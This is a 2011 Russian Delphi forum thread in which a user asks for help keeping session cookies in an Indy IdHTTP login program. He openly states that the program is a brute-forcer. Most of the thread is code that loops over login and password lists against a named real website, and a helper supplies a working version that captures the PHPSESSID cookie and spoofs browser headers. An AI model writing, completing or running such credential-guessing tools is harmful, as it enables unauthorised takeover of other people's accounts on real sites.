Форум программистов, компьютерный форум, киберфорум
Delphi: Сети
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск Заказать работу  
 
 
Рейтинг 4.81/16: Рейтинг темы: голосов - 16, средняя оценка - 4.81
0 / 0 / 0
Регистрация: 28.03.2011
Сообщений: 34

Как осхранить куки при повторном парсе страницы?

28.03.2011, 20:20. Показов 3244. Ответов 24
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
Не сохранаются куки, Программно авторизовываюсь на сайте, сново парсю страничку(там просто стоит переадресация и получается что если не парсить страничку второй раз то проверка идет на переадресацию), делаю проверку авторизовался ли я, и страница выходит не авторизованная( Куки не сохранились. Вроде можно сохранить с помощью idcookiemanager, но вот как?)
0
IT_Exp
Эксперт
34794 / 4073 / 2104
Регистрация: 17.06.2006
Сообщений: 32,602
Блог
28.03.2011, 20:20
Ответы с готовыми решениями:

Redirect при парсе
Помогите реализовать редирект при парсе вот код private void button2_Click(object sender, EventArgs e) { string...

Съезжает баннер куки при масштабе страницы в мобильной версии Chrome
Подскажите пожалуйста. В мобильной версии при мастштабе страницы, если скроллить, съезжает баннер (внизу страницы), в css которому стоит...

Как передать значение куки из одной страницы в другую?
с куки до этого не сталкивался не разу, но сел, попробовал, получилось захожу в браузер, ввожу пароль, получаю доступ, выхожу доступ...

24
 Аватар для anonimus
2184 / 1255 / 143
Регистрация: 28.04.2010
Сообщений: 4,592
29.03.2011, 10:52
надо начинать с того какой компонент ты используешь, если IdHTTP то там все просто
1
0 / 0 / 0
Регистрация: 28.03.2011
Сообщений: 34
29.03.2011, 11:45  [ТС]
Цитата Сообщение от anonimus Посмотреть сообщение
надо начинать с того какой компонент ты используешь, если IdHTTP то там все просто
Юзаю idhttp, прикручивал к куки менеджеру, но все равно проверка проходила на не авторизованную страницу. Сниффил прогу, куки отсылаются вроде одинаковые.
0
 Аватар для anonimus
2184 / 1255 / 143
Регистрация: 28.04.2010
Сообщений: 4,592
29.03.2011, 11:53
достаточно AllowCookies поставить в true
для автоматической переадресации HandleRedirects поставь true

Добавлено через 1 минуту
случаем не на vkontakte авторизоваться хочешь?
1
0 / 0 / 0
Регистрация: 28.03.2011
Сообщений: 34
29.03.2011, 13:26  [ТС]
Нет, для брута мчу) Сейчас испробуем, хотя я для куков ставил труе.

Добавлено через 26 минут
Я это уже все ставил и не помогало. Он просто переходит на не авторизованную страничку(
0
 Аватар для anonimus
2184 / 1255 / 143
Регистрация: 28.04.2010
Сообщений: 4,592
29.03.2011, 13:32
значит парси страницу добавляй к себе куки которые не добавились автоматом.
Запусти снифер и сравни какие куки передаются при авторизации через браузер и через твою прогу.

P.S.
Кинь ссылку на сайт, будут время я посмотрю
1
0 / 0 / 0
Регистрация: 28.03.2011
Сообщений: 34
29.03.2011, 14:25  [ТС]
http://www.fteam-online.ru/index.php
Ловил сниффом, куки одни и те же переходят, но страничка авторизованного не сохраняется
0
 Аватар для anonimus
2184 / 1255 / 143
Регистрация: 28.04.2010
Сообщений: 4,592
29.03.2011, 14:56
GreeF, ну ты дай тогда логин и пароль
1
0 / 0 / 0
Регистрация: 28.03.2011
Сообщений: 34
29.03.2011, 15:04  [ТС]
Скинул в пм
0
 Аватар для anonimus
2184 / 1255 / 143
Регистрация: 28.04.2010
Сообщений: 4,592
29.03.2011, 16:28
авторизовался, там без указания Cookie: PHPSESSID не хотело авторизовываться,
Добавь себе в запрос Cookie: PHPSESSID=siiqrbco9c9qr0qd0s3pdvlqf0
1
0 / 0 / 0
Регистрация: 28.03.2011
Сообщений: 34
29.03.2011, 16:44  [ТС]
Добавил строчку перед проверкой
Delphi
1
idHTTP1.Request.CustomHeaders.Text:= 'Cookie: PHPSESSID=siiqrbco9c9qr0qd0s3pdvlqf0;';
(после второго запроса на страничку)
И опять как не авторизованный(
0
 Аватар для anonimus
2184 / 1255 / 143
Регистрация: 28.04.2010
Сообщений: 4,592
29.03.2011, 17:15
покажи полностью код авторизации

Не по теме:

выложить сюда готовый код было бы слишком просто ))



Добавлено через 56 секунд
Цитата Сообщение от GreeF Посмотреть сообщение
Добавил строчку перед проверкой
я не знаю где там у тебя проверка, а эту строчку нужно добавить перед посылкой запроса
1
0 / 0 / 0
Регистрация: 28.03.2011
Сообщений: 34
29.03.2011, 17:29  [ТС]
Delphi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
idhttp1.HandleRedirects:=true;
 idHTTP1.Request.CustomHeaders.Text:= 'Cookie: PHPSESSID=siiqrbco9c9qr0qd0s3pdvlqf0;';
 StrPage:=idhttp1.Get('http://www.fteam-online.ru/index.php');
 if Edit1.Text='' then  Exit;
if Edit2.Text='' then  Exit;
 Data:=TstringList.Create;
 Login:=TStringList.Create;
Pass:=TStringList.Create;
Login.LoadFromFile(Edit1.Text);
Pass.LoadFromFile(Edit2.Text);
for l:=0 to Login.Count-1 do
for p:=0 to Pass.Count-1 do
begin
Data.Clear;
 Data.Add('enter_main1='+Login.Strings[L]);
 Data.Add('enter_main2='+Pass.Strings[P]);
 Data.Add('enter_main3=^ Войти ^');
 Memo1.Lines.Add(PChar('Логин:'+Login.Strings[l]+' Пароль:'+Pass.Strings[p]));
 StrPage:=idhttp1.Post(ssylka, Data);
 IdHTTP1.CookieManager:=IdCookiemanager1;
 idHTTP1.Request.CustomHeaders.Text:= 'Cookie: PHPSESSID=siiqrbco9c9qr0qd0s3pdvlqf0;';
  StrPage1:=idhttp1.Get('http://www.fteam-online.ru/index.php');
 if Pos('[Выход]', StrPage1)<>0 then
  Label1.Caption:='Подобран'
 else Label1.Caption:='Феил';
0
 Аватар для anonimus
2184 / 1255 / 143
Регистрация: 28.04.2010
Сообщений: 4,592
29.03.2011, 17:40
ох нагородил )))
зачем тебе 2 строки
Delphi
1
idHTTP1.Request.CustomHeaders.Text:= 'Cookie: PHPSESSID=siiqrbco9c9qr0qd0s3pdvlqf0;';
зачем ты сначала делаешь get запрос?
Помимо post данных нужно передавать данные заголовка запроса Request.
Их заполни один раз не нужно их в цикле каждый раз заполнять
Такие как:
Delphi
1
2
3
IdHTTP1.Request.Referer
IdHTTP1.Request.UserAgent
IdHTTP1.Request.Accept
и т.д.
Посмотри в снифере что передается

кстате это можешь убрать, роли не играет
Delphi
1
Data.Add('enter_main3=^ Войти ^');
Добавлено через 1 минуту
да и CookieManager тебе не нужен, достаточно AllowCookies поставить true

Добавлено через 41 секунду
если уж не получится, выложу свой код
1
0 / 0 / 0
Регистрация: 28.03.2011
Сообщений: 34
29.03.2011, 17:50  [ТС]
Все у меня правельно!(Я мею ввиду цикл, мне так и нужно))
AllowCookie самого начала поставил труе
Нифига не идет..

Сниффер:

0
 Аватар для anonimus
2184 / 1255 / 143
Регистрация: 28.04.2010
Сообщений: 4,592
29.03.2011, 18:09
Цитата Сообщение от GreeF Посмотреть сообщение
Все у меня правельно!(Я мею ввиду цикл, мне так и нужно))
так я против цикла ничего не говорю.
Зачем ты мне скрины снифера показываешь? ты добавил в код то что я говорил?

IdHTTP1.Request.Referer
IdHTTP1.Request.UserAgent
IdHTTP1.Request.Accept
и т.д. там несколько параметров

Добавлено через 5 минут
ладно на код
Delphi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
procedure TForm1.Button1Click(Sender: TObject);
var strList:TstringList;
begin
 
strList:=TstringList.Create;
 
strList.Add('enter_main1=');
strList.Add('enter_main2=');
IdHTTP1.Request.Referer:='http://www.fteam-online.ru';
IdHTTP1.Request.UserAgent:='Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.9) Gecko/20100315 MRA 5.6 (build 03278) Firefox/3.5.9 WebMoney Advisor';
IdHTTP1.Request.Accept:='text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8';
IdHTTP1.Request.AcceptLanguage:='ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3';
IdHTTP1.Request.AcceptEncoding:='gzip,deflate';
IdHTTP1.Request.AcceptCharSet:='windows-1251,utf-8;q=0.7,*;q=0.7';
IdHTTP1.Request.ContentType:='multipart/form-data; boundary=---------------------------14106211848848';
IdHTTP1.Request.CustomHeaders.Add('Cookie: PHPSESSID=siiqrbco9c9qr0qd0s3pdvlqf0');
 
IdHTTP1.Post('http://www.fteam-online.ru/enter.php',strList);
 
strList.Text:=IdHTTP1.Get('http://www.fteam-online.ru/index.php');
strList.SaveToFile('index.html');
 
ShellExecute(Handle,'open','index.html',nil,nil,SW_NORMAL);
strList.Free;
end;
0
0 / 0 / 0
Регистрация: 28.03.2011
Сообщений: 34
29.03.2011, 18:30  [ТС]
Прости меня за мою тупость)
Модифицировал твой код след образом:
Delphi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
idhttp1.HandleRedirects:=true;
 StrPage:=idhttp1.Get('http://www.fteam-online.ru/index.php');
 IdHTTP1.Request.Referer:='http://www.fteam-online.ru';
IdHTTP1.Request.UserAgent:='Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.9) Gecko/20100315 MRA 5.6 (build 03278) Firefox/3.5.9 WebMoney Advisor';
IdHTTP1.Request.Accept:='text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8';
IdHTTP1.Request.AcceptLanguage:='ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3';
IdHTTP1.Request.AcceptEncoding:='gzip,deflate';
IdHTTP1.Request.AcceptCharSet:='windows-1251,utf-8;q=0.7,*;q=0.7';
IdHTTP1.Request.ContentType:='multipart/form-data; boundary=---------------------------14106211848848';
IdHTTP1.Request.CustomHeaders.Add('Cookie: PHPSESSID=siiqrbco9c9qr0qd0s3pdvlqf0');
 if Edit1.Text='' then  Exit;
if Edit2.Text='' then  Exit;
 Data:=TstringList.Create;
 Login:=TStringList.Create;
Pass:=TStringList.Create;
Login.LoadFromFile(Edit1.Text);
Pass.LoadFromFile(Edit2.Text);
for l:=0 to Login.Count-1 do
for p:=0 to Pass.Count-1 do
begin
Data.Clear;
 Data.Add('enter_main1='+Login.Strings[L]);
 Data.Add('enter_main2='+Pass.Strings[P]);
 Data.Add('enter_main3=^ Âîéòè ^');
 Memo1.Lines.Add(PChar('Ëîãèí:'+Login.Strings[l]+' Ïàðîëü:'+Pass.Strings[p]));
 StrPage:=idhttp1.Post(ssylka, Data);
  StrPage1:=idhttp1.Get('http://www.fteam-online.ru/index.php');
  IdHTTP1.Request.Referer:='http://www.fteam-online.ru';
IdHTTP1.Request.UserAgent:='Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.9) Gecko/20100315 MRA 5.6 (build 03278) Firefox/3.5.9 WebMoney Advisor';
IdHTTP1.Request.Accept:='text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8';
IdHTTP1.Request.AcceptLanguage:='ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3';
IdHTTP1.Request.AcceptEncoding:='gzip,deflate';
IdHTTP1.Request.AcceptCharSet:='windows-1251,utf-8;q=0.7,*;q=0.7';
IdHTTP1.Request.ContentType:='multipart/form-data; boundary=---------------------------14106211848848';
IdHTTP1.Request.CustomHeaders.Add('Cookie: PHPSESSID=siiqrbco9c9qr0qd0s3pdvlqf0');
 if Pos('[Âûõîä]', StrPage1)<>0 then
  Label1.Caption:='Ïîäîáðàí'
 else Label1.Caption:='Ôåèë';
Ну и по идеи он должен отправлять и юзер агент, и куки, но опять ше феил, а то ты мне дал с вин апи, а я и не учил его ещё)
0
 Аватар для anonimus
2184 / 1255 / 143
Регистрация: 28.04.2010
Сообщений: 4,592
29.03.2011, 18:46
ты вообще читаешь что я тебе пишу?
Их заполни один раз не нужно их в цикле каждый раз заполнять
нах ты их в цикл вставил?

из winApi в моем коде только ShellExecute, она для того что бы было видно авторизовались мы или нет
на сам процесс посылки запросов она не влияет. Создай отдельно проект кинь одну кнопку на форму в обработчик напиши мой код, запусти проект нажми на кнопку и через секунду откроется страничка в браузере на которой будет видно авторизован ты или нет.
Когда разберешься с кодом потом вставляй в свою прогу
1
0 / 0 / 0
Регистрация: 28.03.2011
Сообщений: 34
29.03.2011, 19:10  [ТС]
Короче создал нью форм, опять же убрал из твоего кода проврку заходя на сохранненую страницу, ибо он убивала мой браузер.
Delphi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
strList:=TstringList.Create;
 
strList.Add('enter_main1='+edit1.text);
strList.Add('enter_main2='+edit2.text);
strList.Add('enter_main2=^ Войти ^');
IdHTTP1.Request.Referer:='http://www.fteam-online.ru';
IdHTTP1.Request.UserAgent:='Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.9) Gecko/20100315 MRA 5.6 (build 03278) Firefox/3.5.9 WebMoney Advisor';
IdHTTP1.Request.Accept:='text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8';
IdHTTP1.Request.AcceptLanguage:='ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3';
IdHTTP1.Request.AcceptEncoding:='gzip,deflate';
IdHTTP1.Request.AcceptCharSet:='windows-1251,utf-8;q=0.7,*;q=0.7';
IdHTTP1.Request.ContentType:='multipart/form-data; boundary=---------------------------14106211848848';
IdHTTP1.Request.CustomHeaders.Add('Cookie: PHPSESSID=siiqrbco9c9qr0qd0s3pdvlqf0');
 
IdHTTP1.Post('http://www.fteam-online.ru/enter.php',strList);
 StrPage:=idhttp1.get('http://www.fteam-online.ru/index.php');
 
 if Pos('[Выход]', StrPage)<>0 then
  Label1.Caption:='Подобран'
 else Label1.Caption:='Феил';
Опять же феил =(
0
 Аватар для anonimus
2184 / 1255 / 143
Регистрация: 28.04.2010
Сообщений: 4,592
29.03.2011, 20:25
а так:
Delphi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
strList:=TstringList.Create;
IdHTTP1.Get('http://www.fteam-online.ru');
For n:=0 To IdHTTP1.Response.RawHeaders.Count-1 Do
       If IdHTTP1.Response.RawHeaders.Names[n]='Set-Cookie' Then
        php:=copy(IdHTTP1.Response.RawHeaders.ValueFromIndex[n],1,pos(';',IdHTTP1.Response.RawHeaders.ValueFromIndex[n])-1);
 
strList.Add('enter_main1=tectakk72');
strList.Add('enter_main2=123123');
strList.Add('enter_main3=^ Âîéòè ^');
 
IdHTTP1.Request.Referer:='http://www.fteam-online.ru';
IdHTTP1.Request.UserAgent:='Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.9) Gecko/20100315 MRA 5.6 (build 03278) Firefox/3.5.9 WebMoney Advisor';
IdHTTP1.Request.Accept:='text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8';
IdHTTP1.Request.AcceptLanguage:='ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3';
IdHTTP1.Request.AcceptEncoding:='gzip,deflate';
IdHTTP1.Request.AcceptCharSet:='windows-1251,utf-8;q=0.7,*;q=0.7';
IdHTTP1.Request.CustomHeaders.Add('Cookie: PHPSESSID='+php);
 
IdHTTP1.Post('http://www.fteam-online.ru/enter.php',strList);
 
 
 if Pos('[Âûõîä]', IdHTTP1.Get('http://www.fteam-online.ru/index.php'))<>0 then
  Label1.Caption:='Ïîäîáðàí'
 else Label1.Caption:='Ôåèë';
 
strList.Free;
IdHTTP1.Request.CustomHeaders.Delete(0);
несколько раз проверил, работает
1
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
BasicMan
Эксперт
29316 / 5623 / 2384
Регистрация: 17.02.2009
Сообщений: 30,364
Блог
29.03.2011, 20:25
Помогаю со студенческими работами здесь

Как при повторном запуске, открыть свернутое приложение?
При первом запуске приложения, оно сворачивается в трей. При повторном запуске приложения, отображается уведомление, что приложение уже...

Как запретить при повторном клике скрытие дива?
Как для spoiler-body запретить повторение действия, чтобы он, когда выбран, не закрывался и не открывался бы снова? &lt;ul&gt; ...

Как убрать вылет программы при повторном нажатии на кнопки
Прикрепляю проект с базой данных. При клике на кнопку Delete программа критически закрывается - это при условии, что не будет выделен текст...

Как вызвать KeyDown при повторном нажатии клавиши с клавиатуры?
private void Form1_KeyDown_1(object sender, KeyEventArgs e) { Graphics g = this.CreateGraphics(); int...

Как сделать при повторном нажатие на Label не выполнялось действие?
при нажатии на Label выполняются действия в обработчике событий OnClick. как сделать чтоб при повторном нажатии на компонент эти действия...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
20
Ответ Создать тему
Новые блоги и статьи
Модель заражения группы наркоманов
alhaos 17.04.2026
Условия задачи сформулированы тут Суть: - Группа наркоманов из 10 человек. - Только один инфицирован ВИЧ. - Колются одной иглой. - Колются раз в день. - Колются последовательно через. . .
Мысли в слух. Про "навсегда".
kumehtar 16.04.2026
Подумалось тут, что наверное очень глупо использовать во всяких своих установках понятие "навсегда". Это очень сильное понятие, и я только начинаю понимать край его смысла, не смотря на то что давно. . .
My Business CRM
MaGz GoLd 16.04.2026
Всем привет, недавно возникла потребность создать CRM, для личных нужд. Собственно программа предоставляет из себя базу данных клиентов, в которой можно фиксировать звонки, стадии сделки, а также. . .
Знаешь почему 90% людей редко бывают счастливыми?
kumehtar 14.04.2026
Потому что они ждут. Ждут выходных, ждут отпуска, ждут удачного момента. . . а удачный момент так и не приходит.
Фиксация колонок в отчете СКД
Maks 14.04.2026
Фиксация колонок в СКД отчета типа Таблица. Задача: зафиксировать три левых колонки в отчете. Процедура ПриКомпоновкеРезультата(ДокументРезультат, ДанныеРасшифровки, СтандартнаяОбработка) / / . . .
Настройки VS Code
Loafer 13.04.2026
{ "cmake. configureOnOpen": false, "diffEditor. ignoreTrimWhitespace": true, "editor. guides. bracketPairs": "active", "extensions. ignoreRecommendations": true, . . .
Оптимизация кода на разграничение прав доступа к элементам формы
Maks 13.04.2026
Алгоритм из решения ниже реализован на нетиповом документе, разработанного в конфигурации КА2. Задачи, как таковой, поставлено не было, проделанное ниже исключительно моя инициатива. Было так:. . .
Контроль заполнения и очистка дат в зависимости от значения перечислений
Maks 12.04.2026
Алгоритм из решения ниже реализован на примере нетипового документа "ПланированиеПерсонала", разработанного в конфигурации КА2. Задача: реализовать контроль корректности заполнения дат назначения. . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2026, CyberForum.ru